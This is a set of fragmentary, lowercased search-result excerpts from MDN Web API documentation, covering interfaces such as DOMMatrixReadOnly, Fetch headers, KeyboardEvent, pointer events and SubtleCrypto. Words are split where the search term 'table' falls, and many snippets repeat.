stic value with acknowledgement is permitted. notifyread only returns a boolean that is true if notifications of the characteristic value without acknowledgement is permitted. readread only returns a boolean that is true if the reading of the characteristic value is permitted. reliablewriteread only returns a boolean that is true if reliable writes to the characteristic is permitted. wri
tableauxiliariesread only returns a boolean that is true if reliable writes to the characteristic descriptor is permitted. writeread only returns a boolean that is true if the writing to the characteristic with response is permitted. writewithoutresponseread only returns a boolean that is true if the writing to the characteristic without response is permitted. examples the following example ...
...anged', function(event) { console.log(`received heart rate measurement: ${event.target.value}`); } await characteristic.startnotifications(); } specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothcharacteristicproperties experimentalchrome ...
... full support 56notes disabled notes linux and versions of windows earlier than 10.disabled from version 56: this feature is behind the #enable-experimental-web-...
DOMMatrixReadOnly - Web APIs
this interface should be available inside web workers, though some implementations doesn't allow it yet. properties this interface doesn't inherit any properties. is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
...med point. neither the matrix nor the original point are altered. dommatrixreadonly.translate() returns a new dommatrix containing a matrix calculated by translating the source matrix using the specified vector. by default, the vector is (0, 0, 0). the original matrix is not changed. static methods this interface inherits methods from dommatrixreadonly. fromfloat32array() creates a new mu
table dommatrix object given an array of single-precision (32-bit) floating-point values. if the array has six values, the result is a 2d matrix; if the array has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. fromfloat64array() creates a new mu
table dommatrix object given an array of double-precision (64-bit) floating-point values. if the array has six values, the ...
... has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. fromfloat64array() creates a new mu
table dommatrix object given an array of double-precision (64-bit) floating-point values. if the array has six values, the result is a 2d matrix; if the array has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. frommatrix() creates a new mu
table dommatrix object given an existing matrix or a dommatrixinit dictionary which provides the values for its properties. if no matrix is specified, the matrix is initialized with every element set to 0 except the bottom-right corner and the element immediately above and to its left: m33 and m34. these have the default value of 1. specifications specification status comment ...
DirectoryEntrySync - Web APIs
file system. exceptions this method can raise a fileexception with the following codes: exception description encoding_err the path supplied is invalid. not_found_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not wri
table. path_exists_err the file already exists. you cannot create another one with the same path. quota_exceeded_error the operation would cause the application to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but ...
... file system. exceptions this method can raise a fileexception with the following codes: exception description encoding_err the path supplied is invalid. not_found_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not wri
table. path_exists_err the file already exists. you cannot create another one with the same path. quota_exceeded_error the operation would cause the application to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but ...
...returns void exceptions this method can raise a fileexception with the following codes: exception description not_found_err the target directory does not exist. invalid_state_err this directory is not longer valid for some reason other than being deleted. [todo: explain more ] no_modification_allowed_err one of the following is not wri
table: the directory, its parent directory, and some of the content in the directory. security_err the application does not have permission to access the target directory, its parent, or some of its contents. ...
Element: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it from the document. ...
... event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's contents. ...
...the clipboard must also manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's contents. ...
Element.getElementsByTagNameNS() - Web APIs
elements to look for (see element.namespaceuri and attr.namespaceuri). for example, if you need to look for xhtml elements, use the xhtml namespace uri, http://www.w3.org/1999/xhtml. localname is either the local name of elements to look for or the special value "*", which matches all elements (see element.localname and attr.localname). ...
...t.namespaceuri and attr.namespaceuri). for example, if you need to look for xhtml elements, use the xhtml namespace uri, http://www.w3.org/1999/xhtml. localname is either the local name of elements to look for or the special value "*", which matches all elements (see element.localname and attr.localname). example // check the alignment on a number of cells in a
table in an xhtml document. ...
... example, if you need to look for xhtml elements, use the xhtml namespace uri, http://www.w3.org/1999/xhtml. localname is either the local name of elements to look for or the special value "*", which matches all elements (see element.localname and attr.localname). example // check the alignment on a number of cells in a
table in an xhtml document. var
table = document.getelementbyid("forecast-
table"); var cells =
table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification. living standard ...
Element: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an edi
table context (for example, in a <textarea> or an element with contentedi
table attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault()...
...lt behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents. ...
...lipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents. ...
Element - Web APIs
as,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent interface, node, and by extension that interface's parent, eventtarget. it implements the properties of parentnode, childnode, nondocumenttypechildnode, and anima
table. element.attributes read only returns a namednodemap object containing the assigned attributes of the corresponding html element. element.classlist read only returns a domtokenlist containing the list of class attributes. element.classname is a domstring representing the class of the element. element.clientheight read only returns a number representing the inner height of the element...
... read only returns the undomanager associated with the element. element.undoscope is a boolean indicating if the element is an undo scope host, or not. note: dom level 3 defined namespaceuri, localname and prefix on the node interface. in dom4 they were moved to element. this change is implemented in chrome since version 46.0 and firefox since version 48.0. properties included from slo
table the element interface includes the following property, defined on the slo
table mixin. slo
table.assignedslotread only returns a htmlslotelement representing the <slot> the node is inserted in. event handlers element.onfullscreenchange an event handler for the fullscreenchange event, which is sent when the element enters or exits full-screen mode. this can be used to watch both for succ...
... unexpected changes, such as when your app is running in the background. element.onfullscreenerror an event handler for the fullscreenerror event, which is sent when an error occurs while attempting to change into full-screen mode. methods inherits methods from its parents node, and its own parent, eventtarget, and implements those of parentnode, childnode, nondocumenttypechildnode, and anima
table. eventtarget.addeventlistener() registers an event handler to a specific event type on the element. element.attachshadow() attaches a shadow dom tree to the specified element and returns a reference to its shadowroot. element.animate() a shortcut method to create and run an animation on an element. returns the created animation object instance. element.closest() returns the element ...
Fetch basic concepts - Web APIs
equests. because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such functionality. service workers is an example of an api that makes heavy use of fetch. fetch takes the asynchronous nature of such requests one step further. the api is completely promise-based. guard guard is a feature of headers objects, with possible values of immu
table, request, request-no-cors, response, or none, depending on where the header is used. when a new headers object is created using the headers() constructor, its guard is set to none (the default). when a request or response object is created, it has an associated headers object whose guard is set as summarized below: new object's type creating constructor guard setting of associate...
...however, the operation will work if guard is request and the header name isn't a forbidden header name . guard is request-no-cors and the header name/value is a simple header . guard is response and...
...ers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immu
table a header's guard affects the set(), delete(), and append() methods which change the header's contents. a typeerror is thrown if you try to modify a headers object whose guard is immu
table. however, the operation will work if guard is request and the header name isn't a forbidden header name . guard is request-no-cors and the header name/value is a simple header . guard is response and the header name isn't a forbidden response header name . ...
Using Fetch - Web APIs
hervalue'] myheaders.delete('x-custom-header'); console.log(myheaders.get('x-custom-header')); // [ ] some of these operations are only useful in serviceworkers, but they provide a much nicer api for manipulating headers. all of the headers methods throw a typeerror if a header name is used that is not a valid http header name. the mutation operations will throw a typeerror if there is an immu
table guard (see below). otherwise, they fail silently. for example: const myresponse = response.error(); try { myresponse.headers.set('origin', 'http://mybank.com'); } catch (e) { console.log('cannot pretend to be a bank!'); } a good use case for headers is checking whether the content type is correct before you process it further. for example: fetch(myrequest) .then(response => { const...
...this is not exposed to the web, but it affects which mutation operations are allowed on the headers object. possible guard values are: none: default. request: guard for a headers object obtained from a request (request.headers). request-no-cors: guard for a headers object obtained from a request created with request.mode no-cors. response: guard for ...
... to the web, but it affects which mutation operations are allowed on the headers object. possible guard values are: none: default. request: guard for a headers object obtained from a request (request.headers). request-no-cors: guard for a headers object obtained from a request created with request.mode no-cors. response: guard for a headers obtained from a response (response.headers). immu
table: mostly used for serviceworkers; renders a headers object read-only. note: you may not append or set a request guarded headers’ content-length header. similarly, inserting set-cookie into a response header is not allowed: serviceworkers are not allowed to set cookies via synthesized responses. response objects as you have seen above, response instances are returned when fetch() promises a...
FileSystemEntrySync - Web APIs
..). not_found_err the target directory does not exist. invalid_modification_err you tried one of the following disallowed operations: moving an entry into its parent without changing its name moving a parent directory into one of its child directories. [todo: verify ] no_modification_allowed_err one of the following is not wri
table: the source entry, its parent directory, and the target directory. copyto() copy an entry to a different location on the file system. you cannot copy an entry inside itself if it is a directory, nor can you copy it into its parent without providing a new name. directory copies are always recursive—that is, all contents of the directory are copied. you cannot change this behavior. files ...
... and two dots (..). not_found_err the target directory does not exist. invalid_modification_err you tried one of the following disallowed operations: moving an entry into its parent without changing its name moving a parent directory into one of its child directories. no_modification_allowed_err one of the following is not wri
table: the source entry, its parent directory, and the target directory. quota_exceeded_err the operation would cause the application to exceed its storage quota. you can ask for a larger persistent storage, which your user must explicitly grant. for more information, see the article on basic concepts. tourl() returns a url that can be used to identify this entry. it exposes a new ...
...od can raise a fileexception with the following codes: exception description not_found_err the target directory does not exist. invalid_modification_err you tried to remove a directory that is not empty. if you want to remove an empty directory, use removerecursively() instead. no_modification_allowed_err one of the following is not wri
table: the source entry, its parent directory, and the target directory. getparent() look up the parent directoryentrysync containing the entry. if this entry is the root of its file system, then the parent is itself. void getparent (); parameter none returns directoryentrysync an object that represents a directory in the file system. exceptions none. ...
Guide to the Fullscreen API - Web APIs
y calling element.requestfullscreen(). if fullscreen mode is already active (fullscreenelement is non-null), we call document.exitfullscreen(). prefixing note: currently, only firefox 64 and chrome 71 supports this unprefixed. for the moment not all browsers are implementing the unprefixed version of the api (for vendor agnostic access to the fullscreen api you can use fscreen). ...
...een() webkitexitfullscreen() mozcancelfullscreen() msexitfullscreen() element.requestfullscreen() webkitrequestfullscreen() mozrequestfullscreen() msrequestfullscreen() specifications specification status comment fullscreen api living standard initial version. browser compatibility document.fullscreen the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreen deprecatedchrome full support ...
... full support no support no supportdeprecated. not for use in new websites.deprecated. not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenenabled the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenenabledchrome full support ...
HTMLElement.offsetParent - Web APIs
note: offsetparent returns null in the following situations: the element or its parent element has the display property set to none. the element has the position property set to fixed (firefox returns <body>). ...
... note: offsetparent returns null in the following situations: the element or its parent element has the display property set to none. the element has the position property set to fixed (firefox returns <body>). ...
...relative to its padding edge. syntax parentobj = element.offsetparent; parentobj is an object reference to the element in which the current element is offset. specification specification status comment css object model (cssom) view modulethe definition of 'offsetparent' in that specification. working draft browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsetparentchrome full support ...
Ajax navigation example - Web APIs
it is shared between all ajax pages.</p> include/before_content.php: <p> [ <a class="ajax-nav"...
...it is shared between all ajax pages.</p> include/before_content.php: <p> [ <a class="ajax-nav" href="first_page.php">first example</a> | <a class="ajax-nav" href="second_page.php">second example</a>...
..., 304: "not modified", 305: "use proxy", 306: "reserved", 307: "temporary redirect", 308: "permanent redirect", 400: "bad request", 401: "unauthorized", 402: "payment required", 403: "forbidden", 404: "not found", 405: "method not allowed", 406: "not accep
table", 407: "proxy authentication required", 408: "request timeout", 409: "conflict", 410: "gone", 411: "length required", 412: "precondition failed", 413: "request entity too large", 414: "request-uri too long", 415: "unsupported media type", 416: "requested range not satisfiable", ...
Basic concepts - Web APIs
use in web workers, but this was removed from the spec due to lack of interest by the web community. indexeddb used to have a competing spec, websql database, but the w3c deprecated it on november 18, 2010. while both indexeddb and websql are solutions for storage, they do not offer the same functionalities. websql database is a relational database access system, whereas indexeddb is an indexed
table system. big concepts if you have assumptions from working with other types of databases, you might get thrown off when working with indexeddb. so keep the following important concepts in mind: indexeddb databases store key-value pairs. the values can be complex structured objects, and keys can be properties of those objects. you can create indexes that use any property of the objects for ...
...objects, and keys can be properties of those objects. you can create indexes that use any property of the objects for quick searching, as well as sorted enumeration. keys can be binary objects. indexeddb is built on a transactional database model. everything you do in indexeddb always happens in the context of a transaction. the indexeddb api provides lots of objects that represent indexes,
tables, cursors, and so on, but each of these is tied to a particular transaction. thus, you cannot execute commands or open cursors outside of a transaction. transactions have a well-defined lifetime, so attempting to use a transaction after it has completed throws exceptions. also, transactions auto-commit and cannot be committed manually. this transaction model is really useful when you consider ...
...equest object that was generated as a result of doing some database operation. success events don't bubble up and they can't be canceled. error events, on the other hand, do bubble, and can be cancelled. this is quite important, as error events abort whatever transactions they're running in, unless they are cancelled. indexeddb is object-oriented. indexeddb is not a relational database with
tables representing collections of rows and columns. this important and fundamental difference affects the way you design and build your applications. in a traditional relational data store, you would have a
table that stores a collection of rows of data and columns of named types of data. indexeddb, on the other hand, requires you to create an object store for a type of data and simply persist java...
InputEvent.inputType - Web APIs
t. syntax var astring = inputevent.inputtype; value a domstring containing the type of input that was made. there are many possible values, such as inserttext, deletecontentbackward, insertfrompaste, and formatbold. for a complete list of the available input types, see the attributes section of the input events level 1 spec. examples this example logs the inputtype for input events on an edi
table <div>. html <p id="log">input type: </p> <div contentedi
table="true" style="margin: 20px;padding: 20px;border:2px dashed red;"> <p>some sample text. try inserting line breaks, or deleting text in different ways, or pasting different content in.</p> <hr> <ul> <li>a sample</li> <li>bulleted</li> <li>list.</li> </ul> <p>another paragraph.</p> </div> javascript const log = d...
... note: see also masayuki nakano's inputevent test suite for a more detailed example. ...
... 20px;padding: 20px;border:2px dashed red;"> <p>some sample text. try inserting line breaks, or deleting text in different ways, or pasting different content in.</p> <hr> <ul> <li>a sample</li> <li>bulleted</li> <li>list.</li> </ul> <p>another paragraph.</p> </div> javascript const log = document.getelementbyid('log'); const edi
table = document.queryselector('div[contentedi
table]'); edi
table.addeventlistener('input', loginputtype); function loginputtype(event) { log.textcontent = `input type: ${event.inputtype}`; } result try editing the text inside the <div> and see what happens. note: see also masayuki nakano's inputevent test suite for a more detailed example. specifications specification status comment ui eventsthe definition of '...
Key Values - Web APIs
corresponding virtual keycodes for common platforms are included where available. learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. ...
...o firefox 37. dead keycodes for linux linux generates accented characters using special dead keys. dead keys are keys which are pressed in combination with character keys to generate accented forms of those characters. you can identify which specific dead key was used (if more than one exists) by examining the keyboardevent's associated compositionupdate event's data property. you can find a
table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on linux using gtk. the value of data will be one of the following: compositionevent.data value symbol comments gdk_key_dead_grave (0xfe50) qt::key_dead_grave (0x01001250) ` gdk_key_dead_acute (0xfe51) qt::key_dead_acute (0x01001251) ...
...ification) open cable application platform 1.1.3 ansi/cea-2014-b: web-based protocol and framework for remote user interface on upnp™ networks and the internet android keyevent key code values note: remote controls typically include keys whose values are already defined elsewhere, such as under multimedia keys or audio control keys. those keys' values will match what's documented in those
tables. keyboardevent.key value description virtual keycode windows mac linux android "avrinput" [3] changes the input mode on an external audio/video receiver (avr) unit. keycode_avr_input (182) "avrpower" [3] toggles the power on an external avr unit. keycode_avr_power (181) "colorf0red" [3] general-p...
KeyboardEvent - Web APIs
what kind of keyboard activity occurred. note: keyboardevent events just indicate what interaction the user had with a key on the keyboard at a low level, providing no contextual meaning to that interaction. when you need to handle text input, use the input event instead. keyboard events may not be fired if the user is using an alternate means of entering text, such as a handwriting system on a
tablet or graphics
tablet. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" wid...
...s no longer supported even there; instead, you should use the keyboardevent() constructor. keyboardevent.initkeyboardevent() initializes a keyboardevent object. this is now deprecated. you should instead use the keyboardevent() constructor. obsolete properties keyboardevent.char read only returns a domstring representing the character value of the key. if the key corresponds to a prin
table character, this value is a non-empty unicode string containing that character. if the key doesn't have a prin
table representation, this is an empty string. note: if the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character. keyboardevent.charcode read only returns a number representing the unicode reference number...
...attribute's value is the entire string, not just the first character. keyboardevent.charcode read only returns a number representing the unicode reference number of the key; this attribute is used only by the keypress event. for keys whose char attribute contains multiple characters, this is the unicode value of the first character in that attribute. in firefox 26 this returns codes for prin
table characters. warning: this attribute is deprecated; you should use keyboardevent.key instead, if available. keyboardevent.keycode read only returns a number representing a system and implementation dependent numerical code identifying the unmodified value of the pressed key. warning: this attribute is deprecated; you should use keyboardevent.key instead, if available. keyboardevent.keyi...
KeyframeEffect.setKeyframes() - Web APIs
ty: [ 0, 1 ], // offset: 0, 1 backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values. element.animate({ opacity: [ 0, 0.9, 1 ], offset: [ 0, 0.8 ], // shorthand for [ 0, 0.8, 1 ] easing: [ 'ease-in', 'ease-out' ], }, 2000); after generating a sui
table set of keyframes from the property value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implic...
...ingle keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state is implied. attributes keyframes may specify property-value pairs for any of the anima
table css properties. the property names are specified using camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx. shorthand values such as margin are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript. it's just for reference here, this will h...
...camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx. shorthand values such as margin are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript. it's just for reference here, this will have no effect on animation since "float" is not an anima
table css property. offset, which must be written as cssoffset since "offset" represents the keyframe offset as described below. the following special attributes may also be specified: offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes. if this va...
MediaTrackConstraints.facingMode - Web APIs
s unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. ...
...ts they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { facingmode: constraint }; constraintsobject.facingmode = constraint; value an object based on constraindomstring specifying one or more accep
table, ideal, and/or exact (mandatory) facing modes are accep
table for a video track. an exact value in this case indicates that the specified facing mode is specifically required; for example: var constraints = { facingmode: { exact: "user" } }; this indicates that only a user-facing camera is accep
table; if there is no user-facing camera, or the user declines permission to use that camera, the media request will fail. the following strings are permitted ...
... "user" the video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone. "environment" the video source is facing away from the user, thereby viewing their environment. ...
Capabilities, constraints, and settings - Web APIs
as non-required. the user agent will try to provide what you request but will not guarantee that what you get will match. however, if you use simple values for properties when calling mediastreamtrack.applyconstraints(), the request will always succeed, because these values will be considered a request, not a requirement. specifying a range of values sometimes, any value within a range is accep
table for a property's value. you can specify ranges with either or both minimum and maximum values, and you can even specify an ideal value within the range, if you choose. if you provide an ideal value, the browser will try to get as close as possible to matching that value, given the other constraints specified. let supports = navigator.mediadevices.getsupportedconstraints(); if (!supports["width"...
...the constrainable properties for which matches must be found are supported (width, height, framerate, and facingmode), we set up constraints which request a width no smaller than 640 and no larger than 1920 (but preferably 1920), a height no smaller than 400 (but ideally 1080), an aspect ratio of 16:9 (1.777777778), and a frame rate no greater than 30 frames per second. in addition, the only accep
table input device is a camera facing the user (a "selfie cam"). if the width, height, framerate, or facingmode constraints can't be met, the promise returned by applyconstraints() will be rejected. constraints which are specified using any or all of max, min, or exact are always treated as mandatory. if any constraint which uses one or more of those can't be met when calling applyconstraints(), the ...
... calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; } javascript content now let's take a look at the javascript code that makes everything work. defaults and variables first we have the default constraint sets, as strings. these strings are presented in edi
table <textarea>s, but this is the initial configuration of the stream. let videodefaultconstraintstring = '{\n "width": 320,\n "height": 240,\n "framerate": 30\n}'; let audiodefaultconstraintstring = '{\n "samplesize": 16,\n "channelcount": 2,\n "echocancellation": false\n}'; these defaults ask for a pretty common camera configuration, but don't insist on any property being of special importa...
Pointer events - Web APIs
able to generate events (for example the related device is deactived). pointerout onpointerout fired for several reasons including: pointer is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detec
table by the digitizer. pointerleave onpointerleave fired when a pointer is moved out of the hit test boundaries of an element. for pen devices, this event is fired when the stylus leaves the hover range detec
table by the digitizer. gotpointercapture ongotpointercapture fired when an element receives pointer capture. lostpointercapture onlostpointercapture f...
...button states some pointer devices, such as mouse and pen, support multiple buttons and the button presses can be chorded i.e. depressing an additional button while another button on the pointer device is already depressed. to determine the state of button presses, pointer events uses the button and buttons properties of the mouseevent interface (that pointerevent inherits from). the following
table provides the values of button and buttons for the various device button states. device button state button buttons neither buttons nor touch/pen contact changed since last event -1 — mouse move with no buttons pressed, pen moved while hovering with no buttons pressed — 0 left mouse, touch contact, pen contact 0 1 middle...
...= cancelhandler; } </script> <body onload="init();"> <div id="target"> touch me ... </div> </body> </html> touch-action css property the touch-action css property is used to specify whether or not the browser should apply its default (native) touch behavior (such as zooming or panning) to a region. this property may be applied to all elements except: non-replaced inline elements,
table rows, row groups,
table columns, and column groups. a value of auto means the browser is free to apply its default touch behavior (to the specified region) and the value of none disables the browser's default touch behavior for the region. the values pan-x and pan-y, mean that touches that begin on the specified region are only for horizontal and vertical scrolling, respectively. the value manip...
SVGSVGElement - Web APIs
css or xsl viewport.) svgsvgelement.pixelunittomillimeterx a float representing the size of the pixel unit (as defined by css2) along the x-axis of the viewport, which represents a unit somewhere in the range of 70dpi to 120dpi, and, on systems that support this, might actually match the characteristics of the target medium. on systems where it is impossible to know the size of a pixel, a sui
table default pixel size is provided. svgsvgelement.pixelunittomillimetery a float representing the size of a pixel unit along the y-axis of the viewport. svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred. when the browser actually knows the physical size of a "screen unit", this float attribute wi...
... a float representing the size of a pixel unit along the y-axis of the viewport. svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred. when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a sui
table default value (such as .28mm). svgsvgelement.screenpixeltomillimetery corresponding size of a screen pixel along the y-axis of the viewport. svgsvgelement.usecurrentview the initial view (i.e., before magnification and panning) of the current innermost svg document fragment can be either the "standard" view, i.e., based on attributes on the <svg> element such as viewbox) or on a "custom" vi...
...e than one element has this id. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgsvgelement' in that specification. candidate recommendation replaced the inheritance from svgelement by svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgloca
table, documentevent, viewcss, and documentcss and added implemented interface windoweventhandlers. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsvgelement' in that specification. recommendation initial definition ...
Selection.rangeCount - Web APIs
of ranges in the selection. before the user has clicked a freshly loaded page, the rangecount is 0. after the user clicks on the page, rangecount is 1, even if no selection is visible. a user can normally only select one range at a time, so the rangecount will usually be 1. scripting can be used to make the selection contain more than one range. ...
...gecount is 1, even if no selection is visible. a user can normally only select one range at a time, so the rangecount will usually be 1. scripting can be used to make the selection contain more than one range. gecko browsers allow multiple selections across
table cells. firefox allows to select multiple ranges in the document by using ctrl+click (unless the click within an element with display:
table-cell). syntax value = sel.rangecount example the following example will show the rangecount every second. ...
...e selection contain more than one range. gecko browsers allow multiple selections across
table cells. firefox allows to select multiple ranges in the document by using ctrl+click (unless the click within an element with display:
table-cell). syntax value = sel.rangecount example the following example will show the rangecount every second. select text in the browser to see it change. html <
table> <tr><td>a.1<td>a.2 <tr><td>b.1<td>b.2 <tr><td>c.1<td>c.2 javascript window.setinterval(function () { console.log(window.getselection().rangecount); }, 1000); result open your console to see how many ranges are in the selection. in gecko browsers, you can select multiple ranges across
table cells by holding down ctrl while dragging with the mouse. specifications specifi...
SubtleCrypto.deriveKey() - Web APIs
hich will be fulfilled with a cryptokey object representing the new key. it's worth noting that the three key derivation algorithms you can use have quite different characteristics and are appropriate in quite different situations. see supported algorithms for some more detail on this. syntax const result = crypto.subtle.derivekey( algorithm, basekey, derivedkeyalgorithm, extrac
table, keyusages ); parameters algorithm is an object defining the derivation algorithm to use. to use ecdh, pass an ecdhkeyderiveparams object. to use hkdf, pass an hkdfparams object. to use pbkdf2, pass a pbkdf2params object. basekey is a cryptokey representing the input to the derivation algorithm. if algorithm is ecdh, then this will be the ecdh private key. otherwise it...
...e it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey(). derivedkeyalgorithm is an object defining the algorithm the derived key will be used for. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. extrac
table is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the derived key. note that the key usages must be allowed by the algorithm set in derivedkeyalgorithm. possible values of the array are: encrypt: the key may be used to encrypt messages. decrypt: the key ...
...is a promise that fulfills with a cryptokey. exceptions the promise is rejected when one of the following exceptions are encountered: invalidaccesserror raised when the master key is not a key for the requested derivation algorithm or if the cryptokey.usages value of that key doesn't contain derivekey. notsupported raised when trying to use an algorithm that is either unknown or isn't sui
table for derivation, or if the algorithm requested for the derived key doesn't define a key length. syntaxerror raised when keyusages is empty but the unwrapped key is of type secret or private. supported algorithms the three algorithms supported by derivekey() have quite different characteristics and are appropriate in different situations. ecdh ecdh (elliptic curve diffie-hellman) is a key-ag...
SubtleCrypto.importKey() - Web APIs
it can be one of the following: raw: raw format. pkcs8: pkcs #8 format. spki: subjectpublickeyinfo format. jwk: json web key format. ...
...it can be one of the following: raw: raw format. pkcs8: pkcs #8 format. spki: subjectpublickeyinfo format. jwk: json web key format. ...
...1_5, rsa-pss, or rsa-oaep: pass an rsahashedimportparams object. for ecdsa or ecdh: pass an eckeyimportparams object. for hmac: pass an hmacimportparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm. for pbkdf2 : pass the string pbkdf2. extrac
table is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the key. possible array values are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the key may ...
SubtleCrypto.wrapKey() - Web APIs
but because wrapkey() also encrypts the key to be imported, you also need to pass in the key that must be used to encrypt it. this is sometimes called the "wrapping key". ...
... but because wrapkey() also encrypts the key to be imported, you also need to pass in the key that must be used to encrypt it. this is sometimes called the "wrapping key". ...
...w }. return value result is a promise that fulfills with an arraybuffer containing the encrypted exported key. exceptions the promise is rejected when one of the following exceptions is encountered: invalidaccesserror raised when the wrapping key is not a key for the requested wrap algorithm. notsupported raised when trying to use an algorithm that is either unknown or isn't sui
